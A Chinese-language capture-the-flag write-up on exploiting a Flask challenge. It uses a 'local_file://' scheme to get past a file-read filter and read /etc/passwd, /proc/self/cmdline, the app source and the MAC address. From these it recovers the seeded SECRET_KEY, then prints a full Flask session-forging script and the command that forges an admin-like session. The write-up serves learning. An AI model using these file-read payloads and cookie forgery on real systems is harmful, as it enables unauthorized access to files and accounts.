进入网站后点击read something看见一个疑似远程文件泄露
尝试了一下伪协议filter没有反应,file被禁用了
到这里我就卡住了,我想不到还有什么可以远程读取文件的了
学习得知大佬们一看这个路由就不像是php的,于是盲猜是python的FLASK框架,利用load_file来读取源文件(我查不到这个读取的来源,不理解为啥是这个)
可以打开etc/passwd,从最后一行可以看到最后一个用户执行了/app目录下的一个/bin/ash命令,也就意味着我们当前在/app目录的上一级(记住可能有用)
看一下现在在执行什么命令
local_file:///proc/self/cmdline
既然知道我们在/app目录的上一级,我们直接读取
local_file:///app/app.py
获取源码
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())#ce:cd:01:39:d3:c0
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
/和/read路由扫一眼发现没啥关键信息,就是对于我们之前读取源文件的过滤
看flag路由
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
发现跟session有关,要让username为fuck加上之前抓包估计考的就是JWT了
解码+代码分析可以知道username是base64编码过后的www-data
app = Flask(__name__)
random.seed(uuid.getnode())#ce:cd:01:39:d3:c0
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
要获取密匙,就必须知道SECRET_KEY是什么,根据源码可以知晓是一个随机数赋予的,但是之前做过的题告诉我们random其实是一个伪随机数,当种子一样时,出来的数永远都一样,于是我们要破解uuid.getnode是什么了
可以知道它代表的是MAC地址,如果要获得MAC地址就需要用到linux的命令了linux查看mac地址的命令是什么?-linux运维-PHP中文网
url=local_file:sys/class/net/eth0/address
获取MAC地址,记得用python2去运行,因为python2和python3跑出来的随机数是不一样的
知道密匙后利用python中flask的session伪造脚本
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
利用payload是:
python Flask-Session.py encode -s '你的密匙 -t "{'username':b'fuck'}"
修改session改为flag路由即可获取flag
这里要注意的小细节(可能只有我会犯了)
1、random.seed函数参数加不加引号是有区别的
数字1和字符1是不一样的
而且我们用MAC地址的时候,要记得加0x来表达这是十六进制,或者提前转为十进制也可以,不要像我傻傻的直接一个引号括起来直接跑,搞得出错了几次
2、一开始我是没打算用session脚本的,不知道是不是特殊性,我每次一修改head就会出来一个alg
导致sesion是一个错的
3、起初我看源码开启了DEBUG,但是我报错不出来界面…………无法尝试了